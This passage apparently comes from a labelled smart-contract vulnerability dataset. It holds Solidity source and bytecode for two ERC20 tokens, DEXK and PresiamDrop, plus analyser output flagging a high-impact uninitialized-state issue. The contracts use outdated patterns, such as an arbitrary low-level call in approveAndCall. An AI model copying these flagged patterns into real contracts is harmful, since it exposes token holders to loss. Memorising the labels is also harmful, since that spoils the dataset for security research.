mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(balances[msg.sender] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack
//most of these things are not necesary
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(allowed[_from][msg.sender] >= _value) // Check allowance
&& (balances[_from] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack
//most of these things are not necesary
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
/* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
// Notify anyone listening that this approval done
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract DEXK is DEXKStandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 constant public decimals = 8;
uint256 public totalSupply = 100 * (10**7) * 10**8 ; // 1 Billion tokens, 8 decimal places
string constant public name = "DEXK Token";
string constant public symbol = "DEXK";
function DEXK(){
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
}
|
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b578063313ce5671461029057806370a08231146102bb57806379ba5097146103125780638da5cb5b1461032957806395d89b4114610380578063a9059cbb14610410578063b414d4b614610475578063cae9ca51146104d0578063d4ee1d901461057b578063dd62ed3e146105d2578063e724529c14610649578063f2fde38b14610698575b600080fd5b3480156100f757600080fd5b506101006106db565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610714565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f561089b565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a1565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610d70565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d75565b6040518082815260200191505060405180910390f35b34801561031e57600080fd5b50610327610dbe565b005b34801561033557600080fd5b5061033e610f1d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561038c57600080fd5b50610395610f43565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d55780820151818401526020810190506103ba565b50505050905090810190601f1680156104025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041c57600080fd5b5061045b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f7c565b604051808215151515815260200191505060405180910390f35b34801561048157600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b3565b604051808215151515815260200191505060405180910390f35b3480156104dc57600080fd5b50610561600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506112d3565b604051808215151515815260200191505060405180910390f35b34801561058757600080fd5b50610590611570565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105de57600080fd5b50610633600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611596565b6040518082815260200191505060405180910390f35b34801561065557600080fd5b50610696600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061161d565b005b3480156106a457600080fd5b506106d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611743565b005b6040805190810160405280600a81526020017f4445584b20546f6b656e0000000000000000000000000000000000000000000081525081565b6000808214806107a057506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156107ab57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108fe5760009050610d69565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109c9575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109d55750600082115b8015610a0e5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610aaa5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aa783600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b8015610abb57506044600036905010155b1515610ac657600080fd5b610b1882600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bad82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7f82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600881565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1a57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4445584b0000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fd957600090506112ad565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156110285750600082115b80156110615750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156110fd5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110fa83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b801561110e57506044600036905010155b151561111957600080fd5b61116b82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156115145780820151818401526020810190506114f9565b50505050905090810190601f1680156115415780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561156557600080fd5b600190509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561167957600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156118175780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101580156118325750828110155b151561183a57fe5b8091505092915050565b600082821115151561185257fe5b8183039050929150505600a165627a7a72305820dd560240513438144a79a83547870f6078785b6542330241815ad16c32243db50029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 6,170 |
0xcd4cca1f11490d626fdf71daf021ce7e8343dbfd
|
pragma solidity ^0.4.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract PresiamDrop is BurnableToken, Ownable {
string public constant name = "PresiamDrop";
string public constant symbol = "PRSMD";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 40000000 * (10 ** uint256(decimals));
// Constructors
function PresiamDrop () {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
}
}
|
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461016e57806318160ddd146101c857806323b872dd146101f1578063313ce5671461026a578063378dc3dc1461029357806342966c68146102bc57806366188463146102df57806370a08231146103395780638da5cb5b1461038657806395d89b41146103db578063a9059cbb14610469578063d73dd623146104c3578063dd62ed3e1461051d578063f2fde38b14610589575b600080fd5b34156100eb57600080fd5b6100f36105c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610133578082015181840152602081019050610118565b50505050905090810190601f1680156101605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017957600080fd5b6101ae600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105fb565b604051808215151515815260200191505060405180910390f35b34156101d357600080fd5b6101db6106ed565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b610250600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106f3565b604051808215151515815260200191505060405180910390f35b341561027557600080fd5b61027d6109df565b6040518082815260200191505060405180910390f35b341561029e57600080fd5b6102a66109e4565b6040518082815260200191505060405180910390f35b34156102c757600080fd5b6102dd60048080359060200190919050506109f2565b005b34156102ea57600080fd5b61031f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bbb565b604051808215151515815260200191505060405180910390f35b341561034457600080fd5b610370600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e4c565b6040518082815260200191505060405180910390f35b341561039157600080fd5b610399610e95565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103e657600080fd5b6103ee610ebb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042e578082015181840152602081019050610413565b50505050905090810190601f16801561045b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047457600080fd5b6104a9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ef4565b604051808215151515815260200191505060405180910390f35b34156104ce57600080fd5b610503600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110ca565b604051808215151515815260200191505060405180910390f35b341561052857600080fd5b610573600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112c6565b6040518082815260200191505060405180910390f35b341561059457600080fd5b6105c0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061134d565b005b6040805190810160405280600b81526020017f5072657369616d44726f7000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561073257600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061080383600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a590919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061089883600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114be90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ee83826114a590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6302625a000281565b60008082111515610a0257600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a5057600080fd5b339050610aa582600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a590919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610afd826000546114a590919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ccc576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d60565b610cdf83826114a590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f5052534d4400000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f3157600080fd5b610f8382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a590919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114be90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061115b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114be90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffff